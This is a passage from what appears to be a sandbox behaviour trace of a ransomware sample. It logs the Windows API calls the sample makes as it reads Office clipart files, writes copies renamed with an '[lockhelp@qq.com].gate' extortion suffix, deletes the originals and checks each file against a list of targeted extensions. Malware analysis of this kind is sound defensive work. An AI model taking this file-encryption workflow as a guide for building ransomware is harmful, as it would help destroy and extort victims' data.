liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.941] SetEndOfFile (hFile=0x374) returned 1 [0317.943] CloseHandle (hObject=0x374) returned 1 [0317.943] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.944] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf")) returned 1 [0317.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0317.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0317.946] lstrlenW (lpString=".doc") returned 4 [0317.946] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0317.946] lstrlenW (lpString=".docx") returned 5 [0317.946] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0317.947] lstrlenW (lpString=".pdf") returned 4 [0317.947] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0317.947] lstrlenW (lpString=".xls") returned 4 [0317.947] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0317.947] lstrlenW (lpString=".xlsx") returned 5 [0317.947] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0317.947] lstrlenW (lpString=".ppt") returned 4 [0317.947] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0317.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0317.947] lstrlenW (lpString=".zip") returned 4 [0317.947] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0317.947] lstrlenW (lpString=".rar") returned 4 [0317.947] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0317.947] lstrlenW (lpString=".bz2") returned 4 [0317.947] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0317.947] lstrlenW (lpString=".7z") returned 3 [0317.947] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0317.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0317.947] lstrlenW (lpString=".dbf") returned 4 [0317.947] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0317.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0317.947] lstrlenW (lpString=".1cd") returned 4 [0317.947] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0317.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0317.947] lstrlenW (lpString=".jpg") returned 4 [0317.947] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0317.948] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=5172) returned 1 [0317.948] CloseHandle (hObject=0x374) returned 1 [0317.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf")) returned 0x220 [0317.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0317.949] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.949] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0317.949] GetLastError () returned 0x0 [0317.949] ReadFile (in: hFile=0x374, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x1434, lpOverlapped=0x0) returned 1 [0318.024] WriteFile (in: hFile=0x49c, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x1440, lpOverlapped=0x0) returned 1 [0318.025] ReadFile (in: hFile=0x374, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0318.025] WriteFile (in: hFile=0x49c, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0318.025] SetEndOfFile (hFile=0x49c) returned 1 [0318.025] CloseHandle (hObject=0x49c) returned 1 [0318.025] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.025] SetEndOfFile (hFile=0x374) returned 1 [0318.027] CloseHandle (hObject=0x374) returned 1 [0318.028] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0318.028] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf")) returned 1 [0318.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0318.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0318.028] lstrlenW (lpString=".doc") returned 4 [0318.028] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0318.029] lstrlenW (lpString=".docx") returned 5 [0318.029] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0318.029] lstrlenW (lpString=".pdf") returned 4 [0318.029] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0318.029] lstrlenW (lpString=".xls") returned 4 [0318.029] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0318.029] lstrlenW (lpString=".xlsx") returned 5 [0318.029] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0318.029] lstrlenW (lpString=".ppt") returned 4 [0318.029] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0318.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0318.029] lstrlenW (lpString=".zip") returned 4 [0318.029] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0318.029] lstrlenW (lpString=".rar") returned 4 [0318.029] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0318.029] lstrlenW (lpString=".bz2") returned 4 [0318.029] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0318.029] lstrlenW (lpString=".7z") returned 3 [0318.029] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0318.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0318.029] lstrlenW (lpString=".dbf") returned 4 [0318.029] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0318.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0318.029] lstrlenW (lpString=".1cd") returned 4 [0318.029] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0318.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0318.029] lstrlenW (lpString=".jpg") returned 4 [0318.029] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0318.273] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=17172) returned 1 [0318.273] CloseHandle (hObject=0x568) returned 1 [0318.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf")) returned 0x220 [0318.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0318.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0318.274] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.274] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0318.274] GetLastError () returned 0x0 [0318.274] ReadFile (in: hFile=0x568, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x4314, lpOverlapped=0x0) returned 1 [0318.405] WriteFile (in: hFile=0x4b4, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x4320, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x4320, lpOverlapped=0x0) returned 1 [0318.406] ReadFile (in: hFile=0x568, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0318.406] WriteFile (in: hFile=0x4b4, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0318.406] SetEndOfFile (hFile=0x4b4) returned 1 [0318.406] CloseHandle (hObject=0x4b4) returned 1 [0318.406] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.406] SetEndOfFile (hFile=0x568) returned 1 [0318.413] CloseHandle (hObject=0x568) returned 1 [0318.413] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0318.560] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf")) returned 1 [0318.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0318.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0318.561] lstrlenW (lpString=".doc") returned 4 [0318.561] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0318.561] lstrlenW (lpString=".docx") returned 5 [0318.561] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0318.561] lstrlenW (lpString=".pdf") returned 4 [0318.561] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0318.561] lstrlenW (lpString=".xls") returned 4 [0318.561] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0318.561] lstrlenW (lpString=".xlsx") returned 5 [0318.562] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0318.562] lstrlenW (lpString=".ppt") returned 4 [0318.562] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0318.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0318.562] lstrlenW (lpString=".zip") returned 4 [0318.562] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0318.562] lstrlenW (lpString=".rar") returned 4 [0318.562] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0318.562] lstrlenW (lpString=".bz2") returned 4 [0318.562] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0318.562] lstrlenW (lpString=".7z") returned 3 [0318.562] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0318.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0318.562] lstrlenW (lpString=".dbf") returned 4 [0318.562] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0318.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0318.562] lstrlenW (lpString=".1cd") returned 4 [0318.562] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0318.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0318.562] lstrlenW (lpString=".jpg") returned 4 [0318.562] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0318.563] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.563] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0318.564] GetLastError () returned 0x0 [0318.564] ReadFile (in: hFile=0x320, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x4b28, lpOverlapped=0x0) returned 1 [0318.669] WriteFile (in: hFile=0x384, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x4b30, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x4b30, lpOverlapped=0x0) returned 1 [0318.670] ReadFile (in: hFile=0x320, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0318.670] WriteFile (in: hFile=0x384, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0318.670] SetEndOfFile (hFile=0x384) returned 1 [0318.670] CloseHandle (hObject=0x384) returned 1 [0318.671] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.671] SetEndOfFile (hFile=0x320) returned 1 [0318.673] CloseHandle (hObject=0x320) returned 1 [0318.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0318.673] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf")) returned 1 [0318.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0318.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0318.674] lstrlenW (lpString=".doc") returned 4 [0318.674] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0318.674] lstrlenW (lpString=".docx") returned 5 [0318.674] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0318.674] lstrlenW (lpString=".pdf") returned 4 [0318.674] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0318.674] lstrlenW (lpString=".xls") returned 4 [0318.674] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0318.674] lstrlenW (lpString=".xlsx") returned 5 [0318.674] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0318.674] lstrlenW (lpString=".ppt") returned 4 [0318.674] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0318.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0318.674] lstrlenW (lpString=".zip") returned 4 [0318.674] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0318.674] lstrlenW (lpString=".rar") returned 4 [0318.674] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0318.674] lstrlenW (lpString=".bz2") returned 4 [0318.674] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0318.674] lstrlenW (lpString=".7z") returned 3 [0318.674] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0318.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0318.674] lstrlenW (lpString=".dbf") returned 4 [0318.674] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0318.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0318.674] lstrlenW (lpString=".1cd") returned 4 [0318.674] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0318.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0318.674] lstrlenW (lpString=".jpg") returned 4 [0318.675] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0318.684] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.684] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0318.685] GetLastError () returned 0x0 [0318.685] ReadFile (in: hFile=0x320, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x1580, lpOverlapped=0x0) returned 1 [0318.784] WriteFile (in: hFile=0x384, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x1590, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x1590, lpOverlapped=0x0) returned 1 [0318.785] ReadFile (in: hFile=0x320, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0318.785] WriteFile (in: hFile=0x384, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0318.785] SetEndOfFile (hFile=0x384) returned 1 [0318.785] CloseHandle (hObject=0x384) returned 1 [0318.785] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.785] SetEndOfFile (hFile=0x320) returned 1 [0318.787] CloseHandle (hObject=0x320) returned 1 [0318.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0319.256] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf")) returned 1 [0319.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0319.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0319.257] lstrlenW (lpString=".doc") returned 4 [0319.257] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0319.257] lstrlenW (lpString=".docx") returned 5 [0319.257] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0319.257] lstrlenW (lpString=".pdf") returned 4 [0319.257] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0319.257] lstrlenW (lpString=".xls") returned 4 [0319.257] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0319.257] lstrlenW (lpString=".xlsx") returned 5 [0319.257] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0319.257] lstrlenW (lpString=".ppt") returned 4 [0319.257] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0319.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0319.257] lstrlenW (lpString=".zip") returned 4 [0319.257] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0319.257] lstrlenW (lpString=".rar") returned 4 [0319.257] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0319.257] lstrlenW (lpString=".bz2") returned 4 [0319.257] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0319.257] lstrlenW (lpString=".7z") returned 3 [0319.257] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0319.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0319.257] lstrlenW (lpString=".dbf") returned 4 [0319.257] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0319.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0319.257] lstrlenW (lpString=".1cd") returned 4 [0319.257] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0319.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0319.257] lstrlenW (lpString=".jpg") returned 4 [0319.257] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0319.257] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x740720 | out: hHeap=0x6e0000) returned 1 [0319.257] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73c060 | out: hHeap=0x6e0000) returned 1 [0319.257] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3ee1228 | out: hHeap=0x6e0000) returned 1 [0319.258] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3ef1230 | out: hHeap=0x6e0000) returned 1 [0319.281] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x40b1020 | out: hHeap=0x6e0000) returned 1 [0319.285] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x740540 | out: hHeap=0x6e0000) returned 1 [0319.285] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x3f8b2a8 [0319.285] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x3f8b2a8, Size=0x20) returned 0x7ddd90 [0319.285] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x3f8b308 [0319.285] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x3f8b308, Size=0x20) returned 0x7ddfc0 [0319.285] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0319.285] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0319.286] Wow64DisableWow64FsRedirection (in: OldValue=0x313ff50 | out: OldValue=0x313ff50*=0x1) returned 1 [0319.286] lstrlenW (lpString="kernel32.dll") returned 12 [0319.286] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7ddfc0 | out: hHeap=0x6e0000) returned 1 [0319.286] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0319.286] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7ddd90 | out: hHeap=0x6e0000) returned 1 Thread: id = 52 os_tid = 0xeb8 [0272.236] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10000) returned 0x7847d0 [0272.237] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10000) returned 0x7947d8 [0272.237] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x7404f8 [0272.237] RtlAllocateHeap (HeapHandle=0x6e0000, 